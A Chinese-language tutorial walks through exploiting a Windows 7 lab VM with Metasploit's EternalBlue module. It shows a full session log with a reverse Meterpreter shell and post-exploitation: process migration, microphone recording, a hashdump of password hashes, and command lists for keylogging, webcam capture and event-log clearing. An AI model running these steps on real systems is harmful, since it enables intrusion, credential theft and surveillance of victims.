Metasploit渗透测试-之ms17_010_eternalblue

259 阅读7分钟

简述

Metasploit是一个广泛用于网络渗透测试和漏洞利用的开源工具。Metasploit框架是一个功能强大的工具集,用于发现、利用和管理计算机系统上的安全漏洞。它可以扫描漏洞、执行攻击、生成攻击载荷、自动化任务等。由于功能过于强大,因此,在使用Metasploit时务必遵守法律和伦理准则

目标机器

Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)

从Kali Linux开始

# msfconsole

msf6 > search ms17-010
Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR 

msf6 > use 0

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.1.8
rhost => 192.168.1.8
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.1.10:4444 
[*] 192.168.1.8:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.8:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.8:445       - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.8:445 - The target is vulnerable.
[*] 192.168.1.8:445 - Connecting to target for exploitation.
[+] 192.168.1.8:445 - Connection established for exploitation.
[+] 192.168.1.8:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.8:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.8:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.1.8:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.1.8:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.1.8:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.8:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.8:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.8:445 - Starting non-paged pool grooming
[+] 192.168.1.8:445 - Sending SMBv2 buffers
[+] 192.168.1.8:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.8:445 - Sending final SMBv2 buffers.
[*] 192.168.1.8:445 - Sending last fragment of exploit packet!
[*] 192.168.1.8:445 - Receiving response from exploit packet
[+] 192.168.1.8:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.8:445 - Sending egg to corrupted connection.
[*] 192.168.1.8:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.1.8
[+] 192.168.1.8:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.8:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.8:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 2 opened (192.168.1.10:4444 -> 192.168.1.8:1331) at 2023-08-26 06:06:57 -0400
meterpreter >

这样的情况下,我们的就算是进入到 Metasploit执行渗透环境里,

核心命令

Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bg            Alias for background
    bgkill        Kills a background meterpreter script
    bglist        Lists running background scripts
    bgrun         Executes a meterpreter script as a background thread
    channel       Displays information or control active channels
    close         Closes a channel
    detach        Detach the meterpreter session (for http/https)
    disable_unic  Disables encoding of unicode strings
    ode_encoding
    enable_unico  Enables encoding of unicode strings
    de_encoding
    exit          Terminate the meterpreter session
    get_timeouts  Get the current session timeout values
    guid          Get the session GUID
    help          Help menu
    info          Displays information about a Post module
    irb           Open an interactive Ruby shell on the current session
    load          Load one or more meterpreter extensions
    machine_id    Get the MSF ID of the machine attached to the session
    migrate       Migrate the server to another process
    pivot         Manage pivot listeners
    pry           Open the Pry debugger on the current session
    quit          Terminate the meterpreter session
    read          Reads data from a channel
    resource      Run the commands stored in a file
    run           Executes a meterpreter script or Post module
    secure        (Re)Negotiate TLV packet encryption on the session
    sessions      Quickly switch to another session
    set_timeouts  Set the current session timeout values
    sleep         Force Meterpreter to go quiet, then re-establish session
    ssl_verify    Modify the SSL certificate verification setting
    transport     Manage the transport mechanisms
    use           Deprecated alias for "load"
    uuid          Get the UUID for the current session
    write         Writes data to a channel

机器ID和UUID

meterpreter > machine_id
[+] Machine ID: 0593e9fa0a7180699c16e43085da4285
meterpreter > uuid
[+] UUID: 601c2463bbbbcd84/x64=2/windows=1/2023-08-26T13:28:44Z
meterpreter > 

## 获取渗透主机的主机信息

```shell
meterpreter > sysinfo
Computer        : CLIENT-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > 

转移进程


meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 1056
meterpreter > ps

Process List
============

 PID    PPID  Name            Arch  Session  User                      Path
 ---    ----  ----            ----  -------  ----                      ----
 ...
 720    500   svchost.exe     x64   0        NT AUTHORITY\NETWORK SER
                                             VICE
 792    500   svchost.exe     x64   0        NT AUTHORITY\LOCAL SERVI
                                             CE
 848    500   svchost.exe     x64   0        NT AUTHORITY\SYSTEM
 872    500   svchost.exe     x64   0        NT AUTHORITY\SYSTEM
 1000   500   svchost.exe     x64   0        NT AUTHORITY\LOCAL SERVI
                                             CE
 1056   500   spoolsv.exe     x64   0        NT AUTHORITY\SYSTEM       C:\Windows\System32\spool
                                                                       sv.exe
 1116   500   svchost.exe     x64   0        NT AUTHORITY\LOCAL SERVI
                                             CE
 1264   500   svchost.exe     x64   0        NT AUTHORITY\LOCAL SERVI
                                             CE
 1308   500   svchost.exe     x64   0        NT AUTHORITY\SYSTEM
 1404   500   phpStudyServer  x64   0        NT AUTHORITY\SYSTEM       C:\phpstudy_pro\COM\phpSt
              .exe                                                     udyServer.exe
3692   848   dwm.exe         x64   1        client-PC\client          C:\Windows\system32\Dwm.e
                                                                       xe
 3724   3668  explorer.exe    x64   1        client-PC\client          C:\Windows\Explorer.EXE
 3840   3724  vmtoolsd.exe    x64   1        client-PC\client          C:\Program Files\VMware\V
                                                                       Mware Tools\vmtoolsd.exe
 
...
meterpreter > migrate 1116
[*] Migrating from 1056 to 1116...
[-] core_migrate: Operation failed: Access is denied.
meterpreter > migrate 3724
[*] Migrating from 1056 to 3724...
[*] Migration completed successfully.
## 后台信息

```shell
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

文件系统

 Command       Description
    -------       -----------
    enumdesktops  List all accessible desktops and window stations
    getdesktop    Get the current meterpreter desktop
    idletime      Returns the number of seconds the remote user has been idle
    keyboard_sen  Send keystrokes
    d
    keyevent      Send key events
    keyscan_dump  Dump the keystroke buffer
    keyscan_star  Start capturing keystrokes
    t
    keyscan_stop  Stop capturing keystrokes
    mouse         Send mouse events
    screenshare   Watch the remote user desktop in real time
    screenshot    Grab a screenshot of the interactive desktop
    setdesktop    Change the meterpreters current desktop
    uictl         Control some of the user interface components

网络命令

    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table

系统命令

    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS

关机&重启

meterpreter > reboot
Rebooting...
meterpreter > 
[*] 192.168.1.8 - Meterpreter session 3 closed.  Reason: Died

...

meterpreter > shutdown
Shutting down...
meterpreter > 
[*] 192.168.1.8 - Meterpreter session 4 closed.  Reason: Died

注意这里需要两个问题,

  • 这个步骤之前需要转移(migrate)进程到本地用户的线程上,否则会抛出1314错误
  • 一般来说被渗透主机开机但未登录账户场景下,无法转移到本地用户线程上。

UI命令

    enumdesktops  List all accessible desktops and window stations
    getdesktop    Get the current meterpreter desktop
    idletime      Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent      Send key events
    keyscan_dump  Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop  Stop capturing keystrokes
    mouse         Send mouse events
    screenshare   Watch the remote user desktop in real time
    screenshot    Grab a screenshot of the interactive desktop
    setdesktop    Change the meterpreters current desktop
    uictl         Control some of the user interface components

多媒体命令

    record_mic    Record audio from the default microphone for X seconds
    webcam_chat   Start a video chat
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam
    webcam_strea  Play a video stream from the specified webcam
    play          play a waveform audio file (.wav) on the target system

获取音频

meterpreter > record_mic -d 20
[*] Starting...
[-] Error running command record_mic: Rex::TimeoutError Send timed out
meterpreter > record_mic -d 5
[*] Starting...
[*] Stopped
Audio saved to: /home/kali/MclLMkkA.wav

播放音频

meterpreter > play /home/kali/MclLMkkA.wav
[*] Playing /home/kali/MclLMkkA.wav...
[*] Done

提升命令

    getsystem     Attempt to elevate your privilege to that of local system.

我们执行有些命令时候首先要获取本地系统权限,可以执行这个命令。

meterpreter > getsystem
[-] Already running as SYSTEM

密码数据命令

    hashdump      Dumps the contents of the SAM database

执行 hashdump 获取账户信息和账户密码密文数据

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
client:1000:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

总结

本文介绍了渗透后模块ms17_010_eternalblue的基本使用,后期需要结合场景从基础到高级进行提升和锻炼,本文涉及到了一些操作,请谨慎合法使用。本文仅供学习。